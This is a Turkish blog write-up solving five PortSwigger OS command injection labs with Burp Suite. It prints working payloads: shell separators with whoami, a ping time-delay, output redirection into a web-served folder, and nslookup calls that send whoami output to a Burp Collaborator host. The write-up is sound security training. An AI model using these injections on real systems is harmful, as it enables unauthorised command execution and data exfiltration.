BOOK THIS SPACE FOR AD
ARTICLE ADSelam arkadaşlar bugün Command Injection zafiyetinden bahsedip, Portswigger’da bulunan soruların çözümlerinden anlatacağım.
Kim bu Command Injection?
Command Injection zafiyeti kod çalıştırma enjeksiyonu olarak da çevrilebilir. Kullanıcıdan input alınan çoğu olası yerde bulunabilecek bir zafiyettir.
Genel olarak işletim sisteminin yorumlayabildiği ve derleyebildiği komutları çalıştırabilmesine yol açar. Gelin hep beraber lab çözümlerine bakalım :)
LAB1 ==> OS command injectÜion, simple case
Bu labımızda ürün stok yönetimi tarzında bir sistemimiz var ve OSCI (os command injection (uzun uzun yazmayayım diye paso böyle kısaltacağım bunu bilginiz olsun:))) mevcutmuş. Bunu zafiyeti ise whoami komutu ile sömürmemizi istiyorlar bizden. Hemen dalalım bakalım.
This lab contains an OS command injection vulnerability in the product stock checker.
The application executes a shell command containing user-supplied product and store IDs, and returns the raw output from the command in its response.
To solve the lab, execute the whoami command to determine the name of the current user.
Sisteme ilk girdiğimizde bizi alisveris sitesi tarzında bişey karşılıyor ve incelemek için ürünlerden rastgele birine giriyoruz.
İncelemek için ürünlerden rastgele birine giriyoruz. Girdiğimizde bizi ürünün resmi, açıklaması ve ürünün hangi şehirde stokları olduğunu sorguladığımız bir yer mevcut.
Hemen Londra’da ne var ne yok meraklandığımız için Burp aracını kullanarak olaya müdahale ediyoruz.
İstekte gördüğümüz gibi productId=1&storeId=1 adında iki tane parametremiz mevcut. Bu parametrelerden birini kullanarak sistemi manipüle ederek zafiyeti sömürebiliriz.
İsteğimizi Repeater’a attıktan sonra storeId=(1) kısmının yanına ‘;whoami’ komutunu yapıştırıyoruz ve bize mevcut kullanıcının ismini verdiğini görüyoruz. İsteği Proxy’den yolladıktan sonra ilk labımızı çözdüğümüzü görüyoruz!
Not: ‘;’ koymamızın nedeni isteği ordan başka bir komut çağırıp devam ettirmesini sağlamaktı. Böyle bir bypass yolu denemiş olduk. İleride bunları blackliste alacaklar ve bypasslamak çok daha zor bir hal alacak ama bu gözünüzü korkutmasın.
LAB2==> Blind OS command injection with time delays
Bu labta sisteme enjekte edeceğimiz komut sayesinde sistemin geç yanıt döndürmesini sağlayacağız.
This lab contains a blind OS command injection vulnerability in the feedback function.
The application executes a shell command containing the user-supplied details. The output from the command is not returned in the response.
To solve the lab, exploit the blind OS command injection vulnerability to cause a 10 second delay.
Submit Feedback sayfasına gidip istenilen verileri giriyoruz. Ardından nerede enjeksiyon olduğunu bulmaya çalışıyoruz. Email kısmında || işaretleri girdiğimizde gelen response da görüyoruz ki hata mesajını almıyoruz.
Bu demek oluyor ki email kısmına gerekli enjeksiyonu yazabilirsek işlemimiz verimli bir şekilde sonuçlanacaktır emailimizin hemen yanına
||ping+-c+5+127.0.0.1|| komutunu girip response da gerekli cevabı 10 saniye geç görmüş oluyoruz. Böylelikle isteğimizi repeaterdan cikarıp gerçek bir istek attığımızda labımızı tamamlamış olacağız.
LAB3==> Blind OS command injection with output redirection
Uygulama, ürün kataloğu için görüntüleri bu konumdan sunar. Eklenen komuttan çıktıyı bu klasördeki bir dosyaya yeniden yönlendirebilir ve ardından dosyanın içeriğini almak için görüntü yükleme URL’sini kullanabilirsiniz. Labı çözmek için whoami komutu yürütüp ve çıktıyı almamız gerekiyor. Gelin beraber dalalım buraya.
This lab contains a blind OS command injection vulnerability in the feedback function.
The application executes a shell command containing the user-supplied details. The output from the command is not returned in the response. However, you can use output redirection to capture the output from the command. There is a writable folder at:
/var/www/images/
The application serves the images for the product catalog from this location. You can redirect the output from the injected command to a file in this folder, and then use the image loading URL to retrieve the contents of the file.
To solve the lab, execute the whoami command and retrieve the output.
feedback/submit kısmına geliyor ve istenilen verileri giriyoruz. İsteği gönderirken Burp ile araya girip birkaç işlem yapmamız gerekiyor.
Lab açıklamasında da okuduğumuz gibi images dizini içinde fotoğraflara erişebiliyorduk. Dizinin altında lolo.txt adlı bir dosya oluşturmasını kullanıcının ismini bu dosyaya yazmasını istedik.
Sonrasında herhangibir postun içine girerken isteğimizi yakalıyoruz ve filename=(burası) kısmına bizim eklediğimiz dosya adını giriyoruz (lolo.txt)
Görüldüğü üzere bize verilen dizine txt dosyası oluşturup içine whoami komutu kullanarak buradan bir command injection zafiyeti elde ettik ve kullanıcının kim olduğunu öğrenmiş olduk.
LAB4==> Blind OS command injection with out-of-band interaction
Bu labı çözmek için Burp Collaborator’a bir DNS araması yaptıracağız ve gireceğimiz komutu bize verilen hedef sisteme enjekte etmeye çalışacağız.
This lab contains a blind OS command injection vulnerability in the feedback function.
The application executes a shell command containing the user-supplied details. The command is executed asynchronously and has no effect on the application’s response. It is not possible to redirect output into a location that you can access. However, you can trigger out-of-band interactions with an external domain.
To solve the lab, exploit the blind OS command injection vulnerability to issue a DNS lookup to Burp Collaborator.
Submit feedback sayfasında ilgili verileri girip Burp ile araya girip isteği yakalıyoruz.
email kısmında injection zafiyeti olduğunu bildiğimizden direkt oraya geliyoruz ve mailimizin sonuna ||nslookup+( Burp Collaborator client > Copy clipboard kısmından url kopaylıyoruz ardından buraya yapıştırıyoruz)|| for ex ==> ||nslookup+nlcr44aj5i9sw0tfjuio35nvsmycm1.oastify.com||
Sonrasında Burp Collaborator client kısmından Pull now kısmına tıkladıktan sonra isteğimizi göderiyoruz ve yaptığımız DNS aramasını görebiliyoruz.
Bu labımızı da böylelikle tamamlamış oluyoruz.
LAB5==> Blind OS command injection with out-of-band data exfiltration
Bu labta demin yaptığımız işlemden farklı olarak dns aramasında bulunan domainin kullanıcısının kim olduğunu öğrenmek için whoami komutu gireceğiz + olarak.
This lab contains a blind OS command injection vulnerability in the feedback function.
The application executes a shell command containing the user-supplied details. The command is executed asynchronously and has no effect on the application’s response. It is not possible to redirect output into a location that you can access. However, you can trigger out-of-band interactions with an external domain.
To solve the lab, execute the whoami command and exfiltrate the output via a DNS query to Burp Collaborator. You will need to enter the name of the current user to complete the lab.
Yine her zaman olduğu gibi Submit Feedback kısmına gelip istenilen verileri giriyoruz ve isteği gönderirken Burp ile araya giriyoruz. Email kısmında enjeksiyon zafiyeti olduğunu bildiğimizden oraya yöneliyoruz. ||nslookup+’whoami’.(Burp Collaborator client > Copy clipboard kısmından url kopaylıyoruz ardından buraya yapıştırıyoruz)|| ve isteğimizi gönderiyoruz. Ardından Pull Now dediğimizde gelen isteklerin DNS query tarafında gelen kullanıcı adını göreceğiz ve Submit solution butonundan kullanıcıyı girdiğimizde labımızı tamamlamış oluyoruz.